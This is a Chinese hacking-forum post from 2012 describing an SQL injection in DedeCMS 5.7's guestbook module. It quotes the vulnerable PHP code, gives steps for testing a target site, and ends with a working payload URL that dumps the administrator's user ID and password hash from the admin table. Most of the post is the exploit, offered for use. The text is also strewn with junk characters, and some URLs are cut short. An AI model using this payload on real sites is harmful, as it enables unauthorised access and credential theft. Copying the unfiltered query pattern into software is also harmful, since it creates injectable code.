找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3946|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7* o$ v# ~9 g; N- g! r1 f

& U2 C1 C2 z* U  k6 L3 @漏洞文件edit.inc.php具体代码:, n' z' x9 `; T! t2 j

0 ^% b$ {: ]2 ^( y% n< ?php  6 b- M+ Y/ w! j$ _( @! v' B

3 G9 p8 J8 `% ]$ _" J  Mif(!defined('DEDEINC')) exit('Request Error!');  
: G) R+ a  }. Q0 U  F0 Q
5 }& |1 G. @! J& f( e2 o9 t7 V$ b# p# E   
: G, v, r$ y& e, M( p; v" C( j9 J% ~- e* U) n2 B7 H9 m3 k, d
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  % x6 r( l& A3 n: |  K1 v
0 y  u  ]2 z% p7 `, o2 }
else $GUEST_BOOK_POS = "guestbook.php";  
) G) `8 x* @# H/ c2 N
: [; ~6 X' y/ E   
. h7 K, `" V7 {6 h& V2 X( ^% \4 ]8 L6 |; M$ b
$id = intval($id);  
$ L+ j  b/ `) b) k6 H' d/ m1 q
if(empty($job)) $job='view';  / z5 C; y2 F+ T5 N2 S4 N" y
! ?: q' n; \6 Q/ e3 n5 \9 m
   & `( s; B# H  S/ k% u" o) N) ?5 q# C
2 A: t9 i! ^, |! _( D
if($job=='del' && $g_isadmin)  & _+ S1 z$ X* `5 J2 {' E4 m
4 [4 l* w7 h" s& q
{  
$ G, Y  g1 Z9 _' l0 D! C
0 Z3 H) b9 s; S/ E$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
- [6 |, @0 ~* w( I1 v: P- J7 J  G5 y3 O( K2 ?7 Q. N/ I
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
$ c( j  E3 T. r' F0 W) C- Y; {2 C, l# u. E
exit();  
% R/ _8 S9 W+ l  Z
4 ^* y' A- a3 [9 i2 W}  , p0 K1 k$ k3 n8 }9 F; n
) d8 Z' C+ ~6 n7 _  t: `
else if($job=='check' && $g_isadmin)  6 D6 n2 Q. v% }: ]& K) ?' V) g
% l/ u! k: N6 M4 }, F+ \4 q; T
{  
8 {, r! y6 x6 b, S+ n* I: k" ~. ?7 W! z" W( P, L
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  & |( c  r* z) x! ?2 N6 L

5 v9 d+ G$ x" ]. u$ Q* G  ?ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
, x. Q2 a& y$ j7 V. z3 d% K8 d' \# J( m$ R0 s% E- Y4 j( F
exit();  
; f5 v- z5 k( J2 J. }
7 L! I6 x, F/ o}  3 @2 F9 q$ t! W6 p! m6 r: D
' }# `( j  X' a7 |0 Y  e. n
else if($job=='editok')  ' y5 W# v" [/ m' q2 }1 T( r8 b( N
6 [5 G. A* J) g* r/ z
{  2 l8 t% z0 T, e0 a3 a+ {- k% W7 N
9 Y" [" z9 h: w; S" l% F6 A% A& ^. E
$remsg = trim($remsg);  
" K: h- V$ o6 P# b0 l
3 B: y2 |% C: w: y- c0 a+ Dif($remsg!='')  
7 Y+ `$ e- H1 ~1 m- ~9 ]" d3 D9 D& ]  K' R
{  
4 ^, b; c$ D, H2 {4 G+ b! j4 r
. t( U5 i4 A2 E' m& i//管理员回复不过滤HTML By:Errorera blog:errs.cc  ' Y+ _6 K9 b8 u( D. t: X

7 x& G. |6 @# P+ Eif($g_isadmin)  / ^. F. ]5 \: N% S+ x
$ o# t. p- X" ~" l
{  0 a' n4 P! A: `
% L/ o! f/ h  N1 P: Z' ]9 i8 V
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  & j+ ~3 u5 p' W+ \. u5 k) n* v0 i; r
- h0 h3 J( {6 g$ t1 ]# M8 L( ]' R
//$remsg <br /><font color=red>管理员回复:</font> }  1 [4 L/ x& |6 e" P' p. }

+ a( f0 U% @3 X  W8 o0 Velse # i& ]+ ?* L  _. }
6 I, a5 g  u, G0 C  ?. d! Z3 n2 |
{  ) K# _9 |3 L. R" Y5 ^* Z

& v5 Y* h+ p3 v5 i* t* M* O$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
2 f4 h  P7 Q  m8 x1 e! B5 h2 G
2 a2 Z- g0 d8 A+ R2 J$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  , I8 d0 I, m1 m6 m6 \8 |. i; d3 X
/ c4 U; ~! d, j; @! l9 a' C1 {
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
& `: M# ^* f8 J
3 l- i0 V, z9 j4 N( Z8 g# r- a$msg = $oldmsg.$remsg;  
9 N/ W7 j3 p: F4 G$ Z: p1 j: D3 Y2 O
}  8 N4 G5 A: s" m& |7 X
# l  q5 H+ ^/ v
}  
& V0 j- m6 q1 O; m
5 S# v% u+ F1 P2 s5 I0 u2 w1 Z. [' n//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc    B& K/ x- H$ E5 F4 F" C

! Q# {$ H1 s; c  B1 f3 K$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  # n% {: f2 |. T$ U; A  Q* `. i" \
5 `, O" @; g1 S  K# b
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  9 X% y0 {6 ?1 u
7 l+ i' i8 n9 A. {  w3 M# M1 I4 W& E
exit();  6 _  s2 j+ K" m; l! O( k

* n6 O2 y; c' K/ b; o4 Y5 u! e! ^( x}  0 y" u# @! e4 L' Y4 v5 b4 L7 n

0 m" l  c9 v$ B//home:www.errs.cc  8 }: p5 h, o2 F7 `! X$ u
. N) n% P* I# ^- J
if($g_isadmin)  
$ J: v. X% G; W9 \( Z! ]! U: I% E" q) ]/ a
{  
4 t: a9 m/ C, k9 E, A4 k+ G9 t& o8 g# Y6 P( h8 r$ d' X+ w' f8 U3 k
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");    e" K% D. F1 d8 P; v: |- ^( }
" h9 B# U0 J* h
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  $ X1 i. o8 H& b7 S

  d- ?- o. ?3 C1 |}  
3 S1 i1 ]' {% `6 o" [. c  z, r2 M; I2 W& X  e4 C' }1 T6 t5 R
else
8 }& t9 F3 A1 W
& o' u' L' N1 U; N6 R{  
, V! s+ e& W7 F3 f8 A2 G, K- \+ x; ?* {+ _1 B3 B
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  * M  M  [+ K. j# w- @* \: q
+ d& @1 V8 Z% H" j
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
9 |0 [, r$ s4 p3 G$ l3 R( ^* v! t7 N" m
} 漏洞成功需要条件:* I! k# F  c& C
1. php magic_quotes_gpc=off* Z) r: t: X/ z- T+ @
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
+ z+ f8 u4 U) m6 N9 {" \. N. J  x& P+ s' @$ a  v6 o) e
怎么判断是否存在漏洞:$ ?! u% d7 _0 c2 l6 }8 v
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,2 S' m8 v% {; L5 m  q0 `6 q
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID+ I9 V8 N1 h4 X. u" A7 N( X* R3 b
访问:
1 J2 e9 B6 f: K& v! j& _% V3 `, M6 d0 d  r: m+ I
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
# W  v1 @7 O" j- u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
$ B/ T6 l+ i  k+ b6 i$ x, D9 K% e) e+ r5 @; W  l
: F, l% W. K2 t3 c1 ]$ ~, I/ W& f% s
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off  j4 {8 N7 u( v! L$ q) Z, b/ Z
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
% O9 ]) _$ B$ }2 u1 R9 z# Q那么再次访问
' h0 E9 j; U) C' [
) N* V& \* R. g# N  ?4 q; M0 hwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
- g. N; z& a& @7 b+ J) w0 A
1 R& q3 b/ w; ]/ l大概利用就是这样,大家有兴趣的多研究下!!
0 o; t# q4 ^% r8 e$ T. h
0 X6 d" J+ V! G最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
6 X+ ?6 M; v6 v( i# w3 g/ m/ ?
& t  }8 R6 y, i9 w* Zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表